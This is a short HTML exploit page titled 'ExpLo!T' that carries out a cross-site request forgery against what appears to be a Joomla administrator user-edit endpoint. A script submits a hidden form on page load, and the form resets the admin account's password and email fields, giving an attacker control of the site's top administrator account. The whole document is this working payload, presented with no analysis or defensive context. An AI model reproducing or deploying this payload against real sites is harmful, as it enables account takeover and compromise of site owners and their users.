ExpLo!T :
<html>
<head>

</head>

<body onload="javascript:fireForms()">
<script language="JavaScript">

function fireForms()
{
    var count = 1;
    var i=0;

    for(i=0; i<count; i++)
    {
        document.forms[i].submit();
    }
}

	</script>
<form action="http://site.com/administrator/index.php?option=com_users&task=editA&id=62&hidemainmenu=1" method="post" name="adminForm"> 

	<input type="hidden" name="name" value="Administrator" /> 
	<input type="hidden" name="username" value="admin" /> 
        <input type="hidden" name="email" value="" /> 
	<input type="hidden" name="password" value="" /> 
	<input type="hidden" name="password2" value="" /> 
	<input type="hidden" name="gid" value="25" />				
	<input type="radio" name="block" value="0" checked="checked" />
	<input type="radio" name="block" value="1" />
	<input type="radio" name="sendEmail" value="0" />
	<input type="radio" name="sendEmail" value="1" checked="checked" />

</form>